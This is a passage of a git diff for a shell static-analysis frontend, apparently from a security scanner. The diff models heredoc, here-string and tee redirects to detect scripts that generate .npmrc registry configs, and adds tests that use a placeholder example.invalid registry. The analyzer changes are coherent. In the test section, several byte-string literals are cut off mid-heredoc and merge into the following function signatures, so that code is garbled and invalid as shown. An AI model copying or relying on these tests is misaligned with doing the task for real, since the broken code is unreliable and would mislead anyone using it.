extras, False - return _RedirectFact(kind, target, span), extras, True + return _RedirectFact(kind, target, span, node.start_byte), extras, True def _functions(self) -> tuple[_FunctionContext, ...]: functions: list[_FunctionContext] = [] @@ -3104,14 +4076,21 @@ def _event_name(self, draft: _ShellEventDraft) -> str | None: def _has_pipeline_input(self, command: _CommandIR) -> bool: if self.pipeline_input_region_ids is None: grouped: dict[int | None, list[_ExecutionRegion]] = {} + regions_by_id = {region.region_id: region for region in self.regions} for region in self.regions: if region.kind is _ExecutionRegionKind.PIPELINE_STAGE: grouped.setdefault(region.parent_region_id, []).append(region) - self.pipeline_input_region_ids = frozenset( - region.region_id - for stages in grouped.values() - for region in sorted(stages, key=lambda item: item.local_start_byte)[1:] - ) + input_ids: set[int] = set() + for stages in grouped.values(): + ordered = sorted(stages, key=lambda item: item.local_start_byte) + parent_id = ordered[0].parent_region_id if ordered else None + pipeline = regions_by_id.get(parent_id) if parent_id is not None else None + first_input = bool( + pipeline is not None + and self.raw[pipeline.local_start_byte : pipeline.local_start_byte + 1] == b"|" + ) + input_ids.update(region.region_id for region in ordered[0 if first_input else 1 :]) + self.pipeline_input_region_ids = frozenset(input_ids) stage = next( ( region @@ -3230,6 +4209,353 @@ def _merge_control_frame( parent.persistent_bindings_unknown or frame.persistent_bindings_unknown ) + def _resolve_redirect_fact( + self, + fact: _RedirectFact, + frame: _StateFrame, + ) -> _RedirectFact: + input_fact = fact.kind in { + _RedirectKind.STDIN_HEREDOC, + _RedirectKind.STDIN_HERE_STRING, + } + unquoted_output_variable = not input_fact and any( + atom.kind is _ValueAtomKind.VARIABLE and not atom.quoted for atom in fact.target.atoms + ) + value, fragments = self._resolve_value( + fact.target.value, + fact.target.fragments, + fact.target.atoms, + frame, + assignment_value=input_fact, + span=fact.target.span, + ) + if unquoted_output_variable: + if value.state is StaticValueState.UNBOUND: + value = StaticValue.unknown() + fragments = () + proof = None + else: + proof = self._generated_value_proof(fact.target, value, frame) + if fact.expands and value.state is StaticValueState.EXACT: + fragments = tuple( + fragment + for fragment in fragments + if fact.target.local_start_byte <= fragment.local_start_byte + and fragment.local_end_byte <= fact.target.local_end_byte + ) + return replace( + fact, + target=replace( + fact.target, + value=value, + fragments=fragments, + atoms=(), + ), + value_proof=proof, + execution_limitation_span=(fact.target.span if unquoted_output_variable else None), + ) + + def _generated_value_proof( + self, + argument: _ArgumentIR, + resolved_value: StaticValue, + frame: _StateFrame, + ) -> _GeneratedValueProof | None: + """Retain only ordered value uncertainty needed by generated-config dispatch.""" + if resolved_value.state is StaticValueState.UNBOUND: + return None + output = bytearray() + entries: list[_GeneratedProofEntry] = [] + unknown_ranges: list[tuple[int, int]] = [] + unknowns_quoted = True + saw_variable = False + if not argument.atoms: + if resolved_value.state is not StaticValueState.EXACT: + return None + output.extend(cast(bytes, resolved_value.exact_bytes)) + entries.extend( + _GeneratedProofEntry( + fragment.value_start_byte, + fragment.value_end_byte, + fragment.span.start_byte, + fragment.span.end_byte, + ) + for fragment in argument.fragments + if fragment.exact and fragment.value_end_byte > fragment.value_start_byte + ) + else: + for atom in argument.atoms: + child_start = len(output) + if atom.kind is _ValueAtomKind.LITERAL: + if atom.value.state is not StaticValueState.EXACT: + return None + literal = cast(bytes, atom.value.exact_bytes) + output.extend(literal) + for fragment in atom.fragments: + if ( + not fragment.exact + or fragment.value_end_byte <= fragment.value_start_byte + or fragment.span.end_byte - fragment.span.start_byte + != fragment.value_end_byte - fragment.value_start_byte + ): + return None + entries.append( + _GeneratedProofEntry( + child_start + fragment.value_start_byte, + child_start + fragment.value_end_byte, + fragment.span.start_byte, + fragment.span.end_byte, + ) + ) + continue + saw_variable = True + if atom.name is None: + return None + binding = self._lookup_binding(frame, atom.name) + if binding.value.state is StaticValueState.EXACT: + value = cast(bytes, binding.value.exact_bytes) + else: + value = _GENERATED_UNKNOWN_MARKER + unknown_ranges.append((child_start, child_start + len(value))) + unknowns_quoted = unknowns_quoted and atom.quoted + output.extend(value) + if value: + entries.append( + _GeneratedProofEntry( + child_start, + child_start + len(value), + atom.span.start_byte, + atom.span.end_byte, + ) + ) + entries.sort(key=lambda item: item.child_start_byte) + if any( + right.child_start_byte < left.child_end_byte + or right.physical_start_byte < left.physical_end_byte + for left, right in zip(entries, entries[1:], strict=False) + ): + return None + transformed = saw_variable or not entries or entries[0].child_start_byte != 0 + transformed = transformed or entries[-1].child_end_byte != len(output) + transformed = transformed or any( + right.child_start_byte != left.child_end_byte + or right.physical_start_byte != left.physical_end_byte + for left, right in zip(entries, entries[1:], strict=False) + ) + if not transformed: + return None + if resolved_value.state is StaticValueState.EXACT and bytes(output) != cast( + bytes, resolved_value.exact_bytes + ): + return None + if not self._reserve( + 1 + len(entries) + len(unknown_ranges), + value_bytes=len(output), + span=argument.span, + ): + return None + parent_map = self.unit.source_map + return _GeneratedValueProof( + raw_bytes=bytes(output), + entries=tuple(entries), + unknown_ranges=tuple(unknown_ranges), + unknowns_quoted=unknowns_quoted, + path=self.unit.origin_span.path, + physical_size_bytes=( + parent_map.physical_size_bytes if parent_map is not None else len(self.raw) + ), + physical_line_starts=( + parent_map.physical_line_starts + if parent_map is not None + else self.local_line_starts + ), + ) + + def _generated_source_map(self, content: _ArgumentIR) -> SourceMap | None: + if content.value.state is not StaticValueState.EXACT: + return None + entries: list[SourceMapEntry] = [] + for fragment in sorted(content.fragments, key=lambda item: item.value_start_byte): + if ( + not fragment.exact + or fragment.value_end_byte <= fragment.value_start_byte + or fragment.span.end_byte - fragment.span.start_byte + != fragment.value_end_byte - fragment.value_start_byte + ): + return None + candidate = SourceMapEntry( + fragment.value_start_byte, + fragment.value_end_byte, + fragment.span.start_byte, + fragment.span.end_byte, + ) + if entries and ( + candidate.child_start_byte < entries[-1].child_end_byte + or candidate.physical_start_byte < entries[-1].physical_end_byte + ): + return None + if ( + entries + and entries[-1].child_end_byte == candidate.child_start_byte + and entries[-1].physical_end_byte == candidate.physical_start_byte + ): + previous = entries[-1] + entries[-1] = SourceMapEntry( + previous.child_start_byte, + candidate.child_end_byte, + previous.physical_start_byte, + candidate.physical_end_byte, + ) + else: + entries.append(candidate) + if exhaustion := self.file_budget.charge_source_map_entries(len(entries)): + self._resource(exhaustion, content.span) + return None + parent_map = self.unit.source_map + physical_size = parent_map.physical_size_bytes if parent_map is not None else len(self.raw) + physical_line_starts = ( + parent_map.physical_line_starts if parent_map is not None else self.local_line_starts + ) + try: + return SourceMap( + path=self.unit.origin_span.path, + entries=tuple(entries), + child_size_bytes=len(cast(bytes, content.value.exact_bytes)), + physical_size_bytes=physical_size, + physical_line_starts=physical_line_starts, + ) + except ValueError: + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, content.span) + return None + + def _generated_config( + self, + input_fact: _RedirectFact, + output_fact: _RedirectFact, + *, + producer_command_start_byte: int | None, + producer_function_id: int | None, + ) -> GeneratedConfig | None: + target = output_fact.target.value + content = input_fact.target.value + if target.state is StaticValueState.UNBOUND or content.state is StaticValueState.UNBOUND: + return None + source_map = self._generated_source_map(input_fact.target) + if content.state is StaticValueState.EXACT and source_map is None: + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, input_fact.target.span) + return None + span = SourceSpan( + output_fact.span.path, + min(output_fact.span.start_byte, input_fact.span.start_byte), + max(output_fact.span.end_byte, input_fact.target.span.end_byte), + min(output_fact.span.start_line, input_fact.span.start_line), + max(output_fact.span.end_line, input_fact.target.span.end_line), + ) + if not self._reserve(1, span=span): + return None + parent_map = self.unit.source_map + return _ProvenGeneratedConfig( + unit_id=self.unit.unit_id, + provenance=SiteProvenance.GENERATED_CONFIG, + span=span, + target=target, + content=content, + source_map=source_map, + target_proof=output_fact.value_proof, + content_proof=input_fact.value_proof, + physical_size_bytes=( + parent_map.physical_size_bytes if parent_map is not None else len(self.raw) + ), + physical_line_starts=( + parent_map.physical_line_starts + if parent_map is not None + else self.local_line_starts + ), + producer_program_id=self.unit.unit_id, + producer_command_start_byte=producer_command_start_byte, + producer_function_id=producer_function_id, + execution_limitation_span=output_fact.execution_limitation_span, + ) + + def _tee_output_fact(self, command: _CommandIR) -> _RedirectFact | None: + argv = command.site.argv + if ( + not argv + or argv[0].state is not StaticValueState.EXACT + or cast(bytes, argv[0].exact_bytes) != b"tee" + ): + return None + if command.resolution.kind is not _CommandResolutionKind.EXTERNAL: + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, command.site.span) + return None + append = False + end_options = False + outputs: list[_ArgumentIR] = [] + for argument in command.arguments[1:]: + if argument.value.state is not StaticValueState.EXACT: + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, argument.span) + return None + literal = cast(bytes, argument.value.exact_bytes) + if not end_options and literal == b"--": + end_options = True + continue + if not end_options and literal in {b"-a", b"--append"}: + append = True + continue + if not end_options and literal.startswith(b"-"): + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, argument.span) + return None + outputs.append(argument) + if len(outputs) != 1: + if outputs: + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, command.site.span) + return None + output = outputs[0] + return _RedirectFact( + _RedirectKind.STDOUT_APPEND if append else _RedirectKind.STDOUT_TRUNCATE, + output, + output.span, + output.local_start_byte, + ) + + def _generated_from_command(self, command: _CommandIR) -> tuple[GeneratedConfig, ...]: + if not command.redirects_complete: + return () + stdin: _RedirectFact | None = None + stdout: _RedirectFact | None = None + for fact in sorted(command.redirects, key=lambda item: item.local_start_byte): + if fact.kind in { + _RedirectKind.STDIN_HEREDOC, + _RedirectKind.STDIN_HERE_STRING, + }: + stdin = fact + elif fact.kind in { + _RedirectKind.STDOUT_TRUNCATE, + _RedirectKind.STDOUT_CLOBBER, + _RedirectKind.STDOUT_APPEND, + _RedirectKind.STDOUT_STDERR_TRUNCATE, + }: + stdout = fact + if stdin is None: + return () + outputs = [stdout] if stdout is not None else [] + tee_output = self._tee_output_fact(command) + if tee_output is not None: + outputs.append(tee_output) + return tuple( + generated + for output in outputs + if ( + generated := self._generated_config( + stdin, + output, + producer_command_start_byte=command.site.span.start_byte, + producer_function_id=command.function_id, + ) + ) + is not None + ) + def _model_state( self, program: _ShellProgramIR, @@ -3241,6 +4567,7 @@ def _model_state( ) -> Generator[_NestedRequest, _NestedResponse, _ModeledState]: commands = list(program.commands) assignments = list(program.assignments) + generated_configs: list[GeneratedConfig] = [] commands_by_start = { command.local_start_byte: index for index, command in enumerate(commands) } @@ -4306,6 +5633,9 @@ def enter_control_scope( ) ) argv = tuple(argument.value for argument in arguments) + redirects = tuple( + self._resolve_redirect_fact(redirect, frame) for redirect in command.redirects + ) resolution = _CommandResolution(_CommandResolutionKind.AMBIGUOUS) if argv[0].state is StaticValueState.EXACT: command_name = cast(bytes, argv[0].exact_bytes) @@ -4354,6 +5684,7 @@ def enter_control_scope( command, site=replace(command.site, argv=argv), arguments=tuple(arguments), + redirects=redirects, prefix_assignments=tuple( assignments[index].site for index in prefix_assignment_indices ), @@ -4366,6 +5697,14 @@ def enter_control_scope( ) command_execution_order += 1 commands[command_index] = command + if ( + command.resolution.kind is _CommandResolutionKind.EXTERNAL + and argv[0].state is StaticValueState.EXACT + and cast(bytes, argv[0].exact_bytes) == b"tee" + and self._has_pipeline_input(command) + ): + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, command.site.span) + generated_configs.extend(self._generated_from_command(command)) modeled_assignment_indices.update(prefix_assignment_indices) declaration_keyword = ( @@ -4716,6 +6055,31 @@ def enter_control_scope( updates=updates, ) + for recovered in program.recovered_generated_drafts: + input_fact = self._resolve_redirect_fact(recovered.input_fact, root) + output_fact = self._resolve_redirect_fact(recovered.output_fact, root) + generated = self._generated_config( + input_fact, + output_fact, + producer_command_start_byte=None, + producer_function_id=recovered.function_id, + ) + if generated is not None: + generated_configs.append(generated) + + generated_configs = list( + { + ( + config.target, + config.content, + config.span.path, + config.span.start_byte, + config.span.end_byte, + ): config + for config in generated_configs + }.values() + ) + assignments = [ assignment for assignment_index, assignment in enumerate(assignments) @@ -4769,6 +6133,7 @@ def enter_control_scope( initial_bindings=retained_initial_bindings, initial_functions=retained_initial_functions, initial_functions_unknown=retained_initial_functions_unknown, + generated_configs=tuple(generated_configs), ), dict(root.bindings), dict(root.functions), @@ -4814,6 +6179,19 @@ def lower(self) -> _ShellProgramIR: continue redirects_by_command.setdefault(command_start, []).append(redirect) + heredocs_by_command: dict[int, list[_RedirectFact]] = {} + for statement_start, statement_facts in self.heredoc_facts_by_statement.items(): + owner = self.redirect_owners.get(statement_start) + if owner is None: + continue + command_start = self._redirect_owner_command_start( + owner, + commands_by_depth, + starts_by_depth, + ) + if command_start is not None: + heredocs_by_command.setdefault(command_start, []).extend(statement_facts) + wrapper_arguments_by_command: dict[int, list[_NodeGroup]] = {} for wrapper in self.wrapper_argument_drafts: owner = self.redirect_owners.get(wrapper.statement_start_byte) @@ -4946,7 +6324,10 @@ def lower(self) -> _ShellProgramIR: if self.halted: break - facts: list[_RedirectFact] = [] + facts: list[_RedirectFact] = list( + heredocs_by_command.get(command_draft.node.start_byte, ()) + ) + redirects_complete = True command_prefix_start = ( prefix_groups[persistent_prefix_count].start_byte if persistent_prefix_count < len(prefix_groups) @@ -4958,37 +6339,13 @@ def lower(self) -> _ShellProgramIR: redirects_by_command.get(command_draft.node.start_byte, ()), key=lambda item: item.node.start_byte, ) - redirect_chain = ( - len(command_redirects) + command_draft.non_file_redirect_count > 1 - ) or any( - ( - redirect.statement_start_byte is not None - and (owner := self.redirect_owners.get(redirect.statement_start_byte)) - is not None - and owner.redirect_count > 1 - ) - for redirect in command_redirects - ) - if redirect_chain: - chain_span = ( - self._span( - command_redirects[0].node.start_byte, - command_redirects[-1].node.end_byte, - ) - if command_redirects - else self._node_span(command_draft.node) - ) - self._issue( - ShellIssueReason.UNSUPPORTED_SEMANTICS, - chain_span or self._point_span(command_draft.node.start_byte), - ) for redirect in command_redirects: owner = ( self.redirect_owners.get(redirect.statement_start_byte) if redirect.statement_start_byte is not None else None ) - allow_fact = not redirect_chain and not ( + allow_fact = not ( command_draft.node.start_byte in self.syntax_error_command_starts or ( owner is not None @@ -4998,10 +6355,11 @@ def lower(self) -> _ShellProgramIR: ) ) ) - fact, extras, _supported = self._redirect_parts( + fact, extras, supported = self._redirect_parts( redirect, allow_fact=allow_fact, ) + redirects_complete = redirects_complete and supported and allow_fact if fact is not None: facts.append(fact) arguments.extend(extras) @@ -5039,7 +6397,8 @@ def lower(self) -> _ShellProgramIR: command_draft.function_id, tuple(ordered_arguments), prefix_sites, - tuple(facts), + tuple(sorted(facts, key=lambda item: item.local_start_byte)), + redirects_complete, local_start_byte=command_draft.node.start_byte, local_end_byte=command_draft.node.end_byte, ) @@ -5078,6 +6437,7 @@ def lower(self) -> _ShellProgramIR: functions=self._functions() if not self.halted else (), commands=tuple(commands), assignments=tuple(assignments), + recovered_generated_drafts=tuple(self.recovered_generated_drafts), ) return program @@ -5290,6 +6650,327 @@ def _retain_nested_issue( lowerer._issue(reason, span, exhaustion=exhaustion) +def _retain_typed_function_generated_configs( + root_lowerer: _ShellLowerer, + root_program: _ShellProgramIR, + nested_programs: tuple[_NestedProgramIR, ...], + commands: tuple[_CommandIR, ...], + configs: list[GeneratedConfig], +) -> list[GeneratedConfig]: + """Publish function-body configs only through exact typed call reachability.""" + + type FunctionKey = tuple[str, int] + commands_by_key: dict[tuple[str, int], list[_CommandIR]] = {} + for command in commands: + commands_by_key.setdefault((command.program_id, command.site.span.start_byte), []).append( + command + ) + + programs_by_id: dict[str, list[_ShellProgramIR]] = {} + programs_by_id.setdefault(root_program.program_id, []).append(root_program) + for nested in nested_programs: + programs_by_id.setdefault(nested.program.program_id, []).append(nested.program) + + functions_by_key: dict[FunctionKey, list[_FunctionContext]] = {} + function_names: dict[FunctionKey, bytes] = {} + for program_id, programs in programs_by_id.items(): + for program in programs: + for function in program.functions: + key = (program_id, function.function_id) + functions_by_key.setdefault(key, []).append(function) + if function.name.state is not StaticValueState.EXACT: + continue + name = cast(bytes, function.name.exact_bytes) + previous = function_names.get(key) + if previous is not None and previous != name: + function_names.pop(key, None) + continue + function_names[key] = name + functions_by_name: dict[bytes, set[FunctionKey]] = {} + functions_by_name_and_id: dict[tuple[bytes, int], set[FunctionKey]] = {} + for key, name in function_names.items(): + functions_by_name.setdefault(name, set()).add(key) + functions_by_name_and_id.setdefault((name, key[1]), set()).add(key) + + nested_by_program_id: dict[str, list[_NestedProgramIR]] = {} + for nested in nested_programs: + nested_by_program_id.setdefault(nested.program.program_id, []).append(nested) + + unique_programs = { + program_id: programs[0] + for program_id, programs in programs_by_id.items() + if len(programs) == 1 + } + initial_functions_by_program = { + program_id: dict(program.initial_functions) + for program_id, program in unique_programs.items() + } + regions_by_program = { + program_id: {region.region_id: region for region in program.regions} + for program_id, program in unique_programs.items() + } + + def command_owner(command: _CommandIR) -> FunctionKey | None: + if command.function_id is not None: + return (command.program_id, command.function_id) + if ( + command.containing_function_program_id is not None + and command.containing_function_id is not None + ): + return ( + command.containing_function_program_id, + command.containing_function_id, + ) + return None + + def parent_program_command(program_id: str) -> tuple[str, _CommandIR] | None: + records = nested_by_program_id.get(program_id, ()) + if len(records) != 1: + return None + record = records[0] + parents = commands_by_key.get( + (record.parent_program_id, record.parent_command_start_byte), () + ) + if len(parents) != 1: + return None + return record.parent_program_id, parents[0] + + def resolve_function_call(command: _CommandIR) -> FunctionKey | None: + if ( + command.resolution.kind is not _CommandResolutionKind.FUNCTION + or type(command.resolution.function_id) is not int + or not command.site.argv + or command.site.argv[0].state is not StaticValueState.EXACT + ): + return None + name = cast(bytes, command.site.argv[0].exact_bytes) + resolved_id = cast(int, command.resolution.function_id) + seen_programs: set[str] = set() + program_id: str | None = command.program_id + reference = command + while program_id is not None and program_id not in seen_programs: + seen_programs.add(program_id) + key = (program_id, resolved_id) + functions = functions_by_key.get(key, ()) + function = functions[0] if len(functions) == 1 else None + initial_id = initial_functions_by_program.get(program_id, {}).get(name) + definition_region = ( + regions_by_program.get(program_id, {}).get(function.definition_region_id) + if function is not None and function.definition_region_id is not None + else None + ) + inherited_id_collision_is_ambiguous = ( + initial_id == resolved_id + and reference.function_id is None + and definition_region is not None + and definition_region.kind is not _ExecutionRegionKind.PROGRAM + ) + if inherited_id_collision_is_ambiguous: + return None + if ( + function is not None + and function_names.get(key) == name + and ( + reference.function_id is not None + or function.local_start_byte < reference.local_start_byte + ) + ): + return key + if initial_id != resolved_id: + break + parent = parent_program_command(program_id) + if parent is None: + break + program_id, reference = parent + candidates = ( + functions_by_name.get(name, set()) + if resolved_id == _IMPORTED_FUNCTION_ID + else functions_by_name_and_id.get((name, resolved_id), set()) + ) + return next(iter(candidates)) if len(candidates) == 1 else None + + owner_by_config_id: dict[int, FunctionKey | None] = {} + invalid_configs: set[int] = set() + config_functions: set[FunctionKey] = set() + for config in configs: + if type(config) is not _ProvenGeneratedConfig: + invalid_configs.add(id(config)) + root_lowerer._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, config.span) + continue + proven = cast(_ProvenGeneratedConfig, config) + owner: FunctionKey | None + owner_known = True + if proven.producer_function_id is not None: + owner = (proven.producer_program_id, proven.producer_function_id) + elif proven.producer_command_start_byte is not None: + producers = commands_by_key.get( + ( + proven.producer_program_id, + proven.producer_command_start_byte, + ), + (), + ) + if len(producers) != 1: + owner = None + owner_known = False + else: + owner = command_owner(producers[0]) + elif proven.producer_program_id == root_program.program_id: + owner = None + else: + records = nested_by_program_id.get(proven.producer_program_id, ()) + inherited_owners: set[FunctionKey | None] = set() + for record in records: + parents = commands_by_key.get( + (record.parent_program_id, record.parent_command_start_byte), () + ) + if len(parents) == 1: + inherited_owners.add(command_owner(parents[0])) + if len(inherited_owners) != 1: + owner = None + owner_known = False + else: + owner = next(iter(inherited_owners)) + if owner is not None and ( + len(functions_by_key.get(owner, ())) != 1 or owner not in function_names + ): + owner_known = False + if not owner_known: + invalid_configs.add(id(config)) + root_lowerer._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, config.span) + continue + owner_by_config_id[id(config)] = owner + if owner is not None: + config_functions.add(owner) + + if not config_functions: + retained_root_configs: list[GeneratedConfig] = [] + for config in configs: + if id(config) in invalid_configs: + continue + if owner_by_config_id[id(config)] is not None: + continue + proven = cast(_ProvenGeneratedConfig, config) + if proven.execution_limitation_span is not None: + root_lowerer._issue( + ShellIssueReason.UNSUPPORTED_SEMANTICS, + proven.execution_limitation_span, + ) + retained_root_configs.append(config) + return retained_root_configs + + calls_by_owner: dict[FunctionKey, set[FunctionKey]] = {} + root_calls: set[FunctionKey] = set() + unresolved_calls: list[tuple[FunctionKey | None, _CommandIR, bytes | None]] = [] + for command in commands: + if not command.site.argv: + continue + owner = command_owner(command) + command_name: bytes | None = ( + cast(bytes, command.site.argv[0].exact_bytes) + if command.site.argv[0].state is StaticValueState.EXACT + else None + ) + if command.resolution.kind is _CommandResolutionKind.FUNCTION: + if command_name is None: + unresolved_calls.append((owner, command, None)) + continue + target = resolve_function_call(command) + if target is None: + unresolved_calls.append((owner, command, command_name)) + elif owner is None: + root_calls.add(target) + else: + calls_by_owner.setdefault(owner, set()).add(target) + elif command.resolution.kind is _CommandResolutionKind.AMBIGUOUS: + unresolved_calls.append((owner, command, command_name)) + + active_functions: set[FunctionKey] = set() + pending_functions = list(root_calls) + while pending_functions: + key = pending_functions.pop() + if key in active_functions: + continue + active_functions.add(key) + pending_functions.extend(calls_by_owner.get(key, ())) + + reverse_calls: dict[FunctionKey, set[FunctionKey]] = {} + for caller, targets in calls_by_owner.items(): + for target in targets: + reverse_calls.setdefault(target, set()).add(caller) + + unresolved_owners_by_name: dict[bytes, set[FunctionKey]] = {} + dynamic_unresolved_owners: set[FunctionKey] = set() + for owner, _command, unresolved_name in unresolved_calls: + if owner is None: + continue + if unresolved_name is None: + dynamic_unresolved_owners.add(owner) + else: + unresolved_owners_by_name.setdefault(unresolved_name, set()).add(owner) + + functions_reaching_configs = set(config_functions) + pending_functions = [*config_functions, *dynamic_unresolved_owners] + expanded_unresolved_names: set[bytes] = set() + while pending_functions: + key = pending_functions.pop() + if key not in functions_reaching_configs: + functions_reaching_configs.add(key) + for caller in reverse_calls.get(key, ()): + if caller in functions_reaching_configs: + continue + functions_reaching_configs.add(caller) + pending_functions.append(caller) + reachable_name = function_names.get(key) + if reachable_name is None or reachable_name in expanded_unresolved_names: + continue + expanded_unresolved_names.add(reachable_name) + for caller in unresolved_owners_by_name.get(reachable_name, ()): + if caller in functions_reaching_configs: + continue + functions_reaching_configs.add(caller) + pending_functions.append(caller) + + reachable_names: set[bytes] = set() + for key in functions_reaching_configs: + candidate_name = function_names.get(key) + if candidate_name is not None: + reachable_names.add(candidate_name) + for owner, command, unresolved_name in unresolved_calls: + if owner is not None and owner not in active_functions: + continue + if unresolved_name is None or unresolved_name in reachable_names: + root_lowerer._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, command.site.span) + + retained: list[GeneratedConfig] = [] + for config in configs: + if id(config) in invalid_configs: + continue + owner = owner_by_config_id[id(config)] + if owner is None: + proven = cast(_ProvenGeneratedConfig, config) + if proven.execution_limitation_span is not None: + root_lowerer._issue( + ShellIssueReason.UNSUPPORTED_SEMANTICS, + proven.execution_limitation_span, + ) + retained.append(config) + continue + if owner not in active_functions: + continue + proven = cast(_ProvenGeneratedConfig, config) + if proven.execution_limitation_span is not None: + root_lowerer._issue( + ShellIssueReason.UNSUPPORTED_SEMANTICS, + proven.execution_limitation_span, + ) + if proven.target_proof is not None or proven.content_proof is not None: + root_lowerer._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, config.span) + continue + retained.append(config) + return retained + + def _run_program_queue( root_lowerer: _ShellLowerer, root_program: _ShellProgramIR, @@ -5618,8 +7299,10 @@ def _run_program_queue( ] assignments = list(root_modeled.program.assignments) + generated_configs = list(root_modeled.program.generated_configs) for _, program in sorted(completed_nested_programs): assignments.extend(program.assignments) + generated_configs.extend(program.generated_configs) assignments.sort(key=lambda item: (item.site.span.start_byte, item.site.span.end_byte)) ordered_nested_programs = tuple(sorted(nested_programs, key=lambda item: item.order)) nested_children: dict[tuple[str, int], list[_NestedProgramIR]] = {} @@ -5628,18 +7311,38 @@ def _run_program_queue( (nested.parent_program_id, nested.parent_command_start_byte), [] ).append(nested) execution_commands: list[_CommandIR] = [] - execution_stack = list(reversed(root_modeled.program.commands)) + execution_stack: list[tuple[_CommandIR, tuple[str, int] | None]] = [ + (command, None) for command in reversed(root_modeled.program.commands) + ] while execution_stack: - command = execution_stack.pop() + command, inherited_function = execution_stack.pop() + if inherited_function is not None: + command = replace( + command, + containing_function_program_id=inherited_function[0], + containing_function_id=inherited_function[1], + ) execution_commands.append(command) + child_function = ( + (command.program_id, command.function_id) + if command.function_id is not None + else inherited_function + ) children = nested_children.get((command.program_id, command.site.span.start_byte), ()) for child_record in reversed(children): for child_command in reversed(child_record.program.commands): - execution_stack.append(child_command) + execution_stack.append((child_command, child_function)) ordered_commands = tuple( replace(command, order=index) for index, command in enumerate(execution_commands) ) + generated_configs = _retain_typed_function_generated_configs( + root_lowerer, + root_modeled.program, + ordered_nested_programs, + ordered_commands, + generated_configs, + ) combined = replace( root_modeled.program, commands=ordered_commands, @@ -5648,6 +7351,12 @@ def _run_program_queue( ), execution_commands=ordered_commands, nested_programs=ordered_nested_programs, + generated_configs=tuple( + sorted( + generated_configs, + key=lambda item: (item.span.start_byte, item.span.end_byte), + ) + ), ) return ( combined, @@ -5747,6 +7456,8 @@ def _analyze_shell_unit( functions=(), commands=(), assignments=(), + generated_configs=(), + recovered_generated_drafts=(), ) nested_work_items: tuple[ShellWorkItem, ...] = () any_partial = lowerer.partial @@ -5763,7 +7474,7 @@ def _analyze_shell_unit( public = ShellFrontendResult( commands=tuple(command.site for command in program.commands), assignments=tuple(assignment.site for assignment in program.assignments), - generated_configs=(), + generated_configs=program.generated_configs, issues=tuple(lowerer.issues), work_items=(_shell_work_item(unit, outcome), *nested_work_items), ) diff --git a/tests/nodes/analyzers/test_dependency_sources.py b/tests/nodes/analyzers/test_dependency_sources.py index f4d16726..34fa8bca 100644 --- a/tests/nodes/analyzers/test_dependency_sources.py +++ b/tests/nodes/analyzers/test_dependency_sources.py @@ -8,6 +8,7 @@ import importlib from bisect import bisect_left from collections.abc import Iterable, Mapping +from dataclasses import replace from typing import Any import pytest @@ -1880,6 +1881,1205 @@ def test_maven_settings_accepts_only_mirrors_and_profile_repository_paths() -> N assert private_value not in repr(analysis) +def test_proven_generated_npm_config_dispatch_remaps_to_physical_script_span() -> None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + raw = b"writer > .npmrc < None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + raw = ( + b"cat </dev/null & cat >.npmrc < None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + + def destinations(script: bytes) -> tuple[list[str], Any]: + budget = DependencyWorkBudget() + unit = shell_frontend.extract_shell_units( + "scripts/generated.sh", + script, + executable_paths=frozenset(), + budget=budget, + ).units[0] + analysis = shell_frontend._analyze_shell_unit(unit, budget=budget) + parsed = dependency_sources._parse_generated_configs( + analysis.program.generated_configs, + budget=budget, + ) + return [change.destination for change in parsed.changes], analysis + + root_definition = b"f(){ writer >.npmrc <.npmrc <.npmrc <.npmrc <.npmrc <.npmrc <.npmrc <.npmrc <.npmrc <"$CFG" < None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + + def destinations(payload: bytes) -> tuple[list[str], Any]: + outer = b"f(){ writer >.npmrc <.npmrc < None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + + def analyze(tail: bytes) -> tuple[Any, Any]: + raw = ( + b"f(){ " + setup + b"writer >$CFG <$CFG < None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + + def parse(raw: bytes) -> tuple[Any, Any]: + budget = DependencyWorkBudget() + unit = shell_frontend.extract_shell_units( + "scripts/generated.sh", + raw, + executable_paths=frozenset(), + budget=budget, + ).units[0] + analysis = shell_frontend._analyze_shell_unit(unit, budget=budget) + return ( + dependency_sources._parse_generated_configs( + analysis.program.generated_configs, + budget=budget, + ), + analysis, + ) + + prefix = b"CFG='" + target + b"'\n" + body = b" <$CFG" + body) + quoted, quoted_analysis = parse(prefix + b'writer >"$CFG"' + body) + + assert unquoted.changes == () + assert unquoted.limitations + assert unquoted_analysis.public.issues + assert [change.destination for change in quoted.changes] == [ + "https://packages.example.invalid/REDACTED_PATH" + ] + assert quoted.limitations == () + assert quoted_analysis.public.issues == () + + +@pytest.mark.parametrize( + "raw", + [ + ( + b"HOST=packages.example.invalid\n" + b"writer >.npmrc <.npmrc <<< "registry=https://$HOST/private"\n'), + ( + b"REGISTRY=https://packages.example.invalid/private\n" + b"writer >.npmrc <.npmrc < None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + budget = DependencyWorkBudget() + unit = shell_frontend.extract_shell_units( + "scripts/generated.sh", + raw, + executable_paths=frozenset(), + budget=budget, + ).units[0] + frontend = shell_frontend.analyze_shell_unit(unit, budget=budget) + + parsed = dependency_sources._parse_generated_configs( + frontend.generated_configs, + budget=budget, + ) + + assert parsed.limitations == () + assert len(parsed.changes) == 1 + change = parsed.changes[0] + assert change.destination == "https://packages.example.invalid/REDACTED_PATH" + assert change.destination_status.value == "resolved" + assert change.span.path == 